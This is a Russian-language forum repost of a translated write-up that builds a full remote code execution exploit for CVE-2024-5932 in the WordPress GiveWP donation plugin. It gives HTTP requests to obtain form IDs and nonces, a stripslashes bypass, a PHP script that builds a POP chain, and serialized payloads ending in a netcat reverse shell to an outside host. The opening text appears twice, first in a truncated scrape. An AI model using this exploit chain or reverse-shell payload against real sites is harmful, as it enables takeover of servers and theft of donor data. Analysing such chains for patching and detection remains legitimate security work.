D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Источник: https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932/
Перевёл: BLUA специально для xss.is
Несколько дней назад Wordfence опубликовал пост в блоге о уязвимости инъекции объектов PHP, затрагивающей популярный плагин WordPress GiveWP во всех версиях <= 3.14.1. Поскольку в блоге содержится только информация о (части) используемой POP-цепочки, я решил изучить вопрос и создать полностью функциональный эксплойт для удаленного выполнения кода. В этом посте описывается, как я подошел к процессу, выявил недостающие части и собрал всю POP-цепочку. Благодарность @villu164, который изначально обнаружил уязвимость и цепочку.
Хотя пост в блоге Wordfence дает некоторые сведения о первопричине уязвимости и краткое описание POP-цепочки, он упускает (намеренно, как я полагаю) некоторые ключевые моменты. Я пропущу весь процесс установки и настройки WordPress, а также настройки отладочной среды с использованием VScode и перейду прямо к деталям. Единственным предварительным условием для успешной эксплуатации уязвимости (несмотря на старую версию плагина) является то, что GiveWP должен быть включен и настроен хотя бы с одной формой пожертвования.
Точка входа
Уязвимый путь кода можно активировать с помощью действия ajax
PHP: Скопировать в буфер обмена
Очевидно, нам нужен ID формы пожертвования и её nonce. Если только неправильная конфигурация не приводит к тому, что
Получение ID формы пожертвования
К счастью для нас, GiveWP предоставляет нам AJAX-действие
Код: Скопировать в буфер обмена
Это возвращает ID в виде массива:
Получение nonce целевой формы
Как упоминалось ранее, WordPress nonces не могут быть легко рассчитаны на стороне клиента. Но нам снова повезло. GiveWP предоставляет нам другое ajax-действие под названием give_donation_form_nonce, которое позволяет получить nonce для конкретной формы пожертвования. Таким образом, вы можете передать ранее найденный ID формы, используя параметр
Код: Скопировать в буфер обмена
и вы получите nonce в ответ:
Запуск уязвимого пути кода
Уязвимый путь кода может быть запущен с использованием действия ajax под названием `give_process_donation`, при передаче ID формы и её nonce. Пример запроса выглядит следующим образом:
Код: Скопировать в буфер обмена
При запуске этого запроса вы заметите, что значение параметра
Этот ключ
Обход функции stripslashes_deep
Одна вещь, которая не сразу бросается в глаза, но станет важной позже — это использование функции stripslashes_deep во время валидации массива
Код: Скопировать в буфер обмена
Почему это важно? Эксплойты, использующие внедрение объектов в PHP, обычно ссылаются на имена классов с использованием их пространств имен, которые могут содержать слэши. Функция
Восстановление красивой POP-цепочки:
Сообщение Wordfence предоставляет общее, но хорошее описание цепочки для создания Proof of Concept (PoC) на её основе. Давайте разделим эту цепочку на несколько частей:
Источник
Воссоздание цепочки на чистом PHP
Следующий PHP-скрипт создает объект для шагов с первого по четвёртый. Вскоре вы узнаете, что пятая часть отсутствует:
Код: Скопировать в буфер обмена
Тестирование первой (неполной) версии
Скрипт выше создаст сериализованный объект, похожий на следующий:
Код: Скопировать в буфер обмена
При использовании этого с запросом из шага 3 и установкой точки останова на вызове
Прежде чем мы сможем достичь выполнения конечного кода через вызов
Чтобы решить эту небольшую головоломку, нам нужно найти класс, который реализует метод
Нахождение гаджета для завершения цепочки
Ища подходящий гаджет, я сразу наткнулся на класс
Код: Скопировать в буфер обмена
Она предоставляет метод
Соединяя точки
Последнее, что нам нужно сделать, — это установить свойство
Код: Скопировать в буфер обмена
Это даст вам сериализованный объект, подобный следующему:
Код: Скопировать в буфер обмена
Это теперь приводит к тому, что свойство
Когда вызов
Это, наконец, запускает вашу забавную обратную оболочку:
Перевёл: BLUA специально для xss.is
Несколько дней назад Wordfence опубликовал пост в блоге о уязвимости инъекции объектов PHP, затрагивающей популярный плагин WordPress GiveWP во всех версиях <= 3.14.1. Поскольку в блоге содержится только информация о (части) используемой POP-цепочки, я решил изучить вопрос и создать полностью функциональный эксплойт для удаленного выполнения кода. В этом посте описывается, как я подошел к процессу, выявил недостающие части и собрал всю POP-цепочку. Благодарность @villu164, который изначально обнаружил уязвимость и цепочку.
Хотя пост в блоге Wordfence дает некоторые сведения о первопричине уязвимости и краткое описание POP-цепочки, он упускает (намеренно, как я полагаю) некоторые ключевые моменты. Я пропущу весь процесс установки и настройки WordPress, а также настройки отладочной среды с использованием VScode и перейду прямо к деталям. Единственным предварительным условием для успешной эксплуатации уязвимости (несмотря на старую версию плагина) является то, что GiveWP должен быть включен и настроен хотя бы с одной формой пожертвования.
Точка входа
Уязвимый путь кода можно активировать с помощью действия ajax
give_process_donation
. Одна из вещей, которая сразу бросилась в глаза при анализе соответствующего метода give_process_donation_form
, — это наличие некоторой проверки nonce на строке 38 в файле includes/process-donation.php
.PHP: Скопировать в буфер обмена
Код:
function give_process_donation_form() {
// Sanitize Posted Data.
$post_data = give_clean( $_POST ); // WPCS: input var ok, CSRF ok.
// Check whether the form submitted via AJAX or not.
$is_ajax = isset( $post_data['give_ajax'] );
// Verify donation form nonce.
if ( ! give_verify_donation_form_nonce( $post_data['give-form-hash'], $post_data['give-form-id'] ) ) {
if ( $is_ajax ) {
/**
* Fires when AJAX sends back errors from the donation form.
*
* @since 1.0
*/
do_action( 'give_ajax_donation_errors' );
give_die();
} else {
give_send_back_to_checkout();
}
}
Очевидно, нам нужен ID формы пожертвования и её nonce. Если только неправильная конфигурация не приводит к тому, что
NONCE_KEY
и NONCE_SALT
равны каким-то известным публичным значениям, nonce не может быть рассчитан на стороне клиента — прочитайте эту статью, чтобы узнать почему.Получение ID формы пожертвования
К счастью для нас, GiveWP предоставляет нам AJAX-действие
give_form_search
, которое можно вызвать без каких-либо других аргументов, чтобы получить ID всех доступных форм пожертвований:Код: Скопировать в буфер обмена
Код:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 23
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
action=give_form_search
Это возвращает ID в виде массива:
Получение nonce целевой формы
Как упоминалось ранее, WordPress nonces не могут быть легко рассчитаны на стороне клиента. Но нам снова повезло. GiveWP предоставляет нам другое ajax-действие под названием give_donation_form_nonce, которое позволяет получить nonce для конкретной формы пожертвования. Таким образом, вы можете передать ранее найденный ID формы, используя параметр
give_form_id
:Код: Скопировать в буфер обмена
Код:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
action=give_donation_form_nonce&give_form_id=11
и вы получите nonce в ответ:
Запуск уязвимого пути кода
Уязвимый путь кода может быть запущен с использованием действия ajax под названием `give_process_donation`, при передаче ID формы и её nonce. Пример запроса выглядит следующим образом:
Код: Скопировать в буфер обмена
Код:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 653
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
action=give_process_donation&give-form-hash=cc27fec673&give-form-id=11&give_email=1@random.com&give_first=a&give-amount=10&give-gateway=manual&give_stripe_payment_method=&give_last=b&give_title=to_be_unserialized
При запуске этого запроса вы заметите, что значение параметра
give_title
сохраняется в таблице wp_give_donormeta
:Этот ключ
give_donor_title_prefix
позже десериализуется, как описано в блоге Wordfence, с использованием метода Give()->donor_meta->get_meta()
.Обход функции stripslashes_deep
Одна вещь, которая не сразу бросается в глаза, но станет важной позже — это использование функции stripslashes_deep во время валидации массива
$user_info
, который содержит уязвимый атрибут user_title
.Код: Скопировать в буфер обмена
Код:
// Setup donation information.
$donation_data = [
'price' => $price,
'purchase_key' => $purchase_key,
'user_email' => $user['user_email'],
'date' => date( 'Y-m-d H:i:s', current_time( 'timestamp' ) ),
'user_info' => stripslashes_deep( $user_info ),
'post_data' => $post_data,
'gateway' => $valid_data['gateway'],
'card_info' => $valid_data['cc_info'],
];
Почему это важно? Эксплойты, использующие внедрение объектов в PHP, обычно ссылаются на имена классов с использованием их пространств имен, которые могут содержать слэши. Функция
stripslashes_deep
пытается избавиться от них, вызывая stripslashes
для каждого значения. Однако это можно легко обойти, используя четыре слэша (\\) в именах пространств имен.Восстановление красивой POP-цепочки:
Сообщение Wordfence предоставляет общее, но хорошее описание цепочки для создания Proof of Concept (PoC) на её основе. Давайте разделим эту цепочку на несколько частей:
Источник
Воссоздание цепочки на чистом PHP
Следующий PHP-скрипт создает объект для шагов с первого по четвёртый. Вскоре вы узнаете, что пятая часть отсутствует:
Код: Скопировать в буфер обмена
Код:
<?php
namespace Stripe {
class StripeObject {
public $_values = [];
}
}
namespace Give\PaymentGateways\DataTransferObjects {
class GiveInsertPaymentData {
public $userInfo = [];
}
}
namespace Give\Vendors\Faker {
class ValidGenerator {
public $validator = "shell_exec";
public $maxRetries = 2;
public $generator = "";
}
}
namespace {
class Give {
public $container = "1337";
}
use Stripe\StripeObject;
use Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData;
use Give\Vendors\Faker\ValidGenerator;
# Part 1
$stripeObject = new StripeObject();
# Part 2
$giveInsertPaymentData = new GiveInsertPaymentData();
$stripeObject->_values['rcesec'] = $giveInsertPaymentData;
# Part 3
$giveObject = new Give();
$giveInsertPaymentData->userInfo = ["address" => $giveObject];
# Part 4
$validGenerator = new ValidGenerator();
$giveObject->container = $validGenerator;
# Serialize and bypass stripslashes_deep()
$serializedData = serialize($stripeObject);
echo str_replace("\\", "\\\\\\\\", $serializedData);
}
Тестирование первой (неполной) версии
Скрипт выше создаст сериализованный объект, похожий на следующий:
Код: Скопировать в буфер обмена
O:19:"Stripe\\\\StripeObject":1:{s:7:"_values";a:1:{s:6:"rcesec";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:9:"container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:9:"validator";s:10:"shell_exec";s:10:"maxRetries";i:2;s:9:"generator";s:0:"";}}}}}}
При использовании этого с запросом из шага 3 и установкой точки останова на вызове
call_user_func_array
в файле vendor/vendor-prefixed/fakerphp/faker/src/Faker/Validgenerator.php
, вы заметите, что отсутствует небольшая часть:Прежде чем мы сможем достичь выполнения конечного кода через вызов
call_user_func
на строке 80 (наша переменная $this->validator
корректно установлена на shell_exec
), нам нужно каким-то образом заставить вызов call_user_func_array
на строке 74 вернуть то, что мы хотим, в качестве аргумента для вызова shell_exec
. Хотя мы контролируем свойство $this->generator
, мы НЕ контролируем переменную $name
, которая установлена на значение get
.Чтобы решить эту небольшую головоломку, нам нужно найти класс, который реализует метод
get
и, одновременно, возвращает управляемую пользователем строку через свойство $name
. Затем свойство $name
можно установить на любой аргумент, который мы хотим использовать для вызова shell_exec
.Нахождение гаджета для завершения цепочки
Ища подходящий гаджет, я сразу наткнулся на класс
Give\Onboarding\SettingsRepository
:Код: Скопировать в буфер обмена
Код:
class SettingsRepository
{
/** @var array */
protected $settings;
/** @var callable */
protected $persistCallback;
/**
* @since 2.8.0
*
* @param callable $persistCallback
*
* @param array $settings
*/
public function __construct(array $settings, callable $persistCallback)
{
$this->settings = $settings;
$this->persistCallback = $persistCallback;
}
/**
* @since 2.8.0
*
* @param string $name The setting name.
*
* @return mixed The setting value.
*
*/
public function get($name)
{
return ($this->has($name))
? $this->settings[$name]
: null;
}
[...]
Она предоставляет метод
get
, который должен возвращать элемент, указанный параметром $name
, из свойства $this->settings
, и это свойство полностью контролируется пользователем!Соединяя точки
Последнее, что нам нужно сделать, — это установить свойство
$this->generator
как экземпляр класса SettingsRepository
и убедиться, что элемент address1
массива $settings
установлен в наш аргумент для вызова shell_exec
.Код: Скопировать в буфер обмена
Код:
[...]
namespace Give\Onboarding {
class SettingsRepository {
public $settings = ["address1" => "nc xx.lu 1337 -c bash"];
}
}
[...]
$validGenerator->generator = new SettingsRepository();
[...]
Это даст вам сериализованный объект, подобный следующему:
Код: Скопировать в буфер обмена
O:19:"Stripe\\\\StripeObject":1:{s:7:"_values";a:1:{s:6:"rcesec";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:9:"container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:9:"validator";s:10:"shell_exec";s:10:"maxRetries";i:2;s:9:"generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:8:"settings";a:1:{s:8:"address1";s:21:"nc xx.lu 1337 -c bash";}}}}}}}}
Это теперь приводит к тому, что свойство
generator
устанавливается как экземпляр класса Give\Onboarding\SettingsRepository
.Когда вызов
call_user_func_array
будет обработан, он найдет элемент address1
, как было описано ранее, и вернет его в переменную $res
, которая используется в качестве аргумента для финального вызова call_user_func
.Это, наконец, запускает вашу забавную обратную оболочку: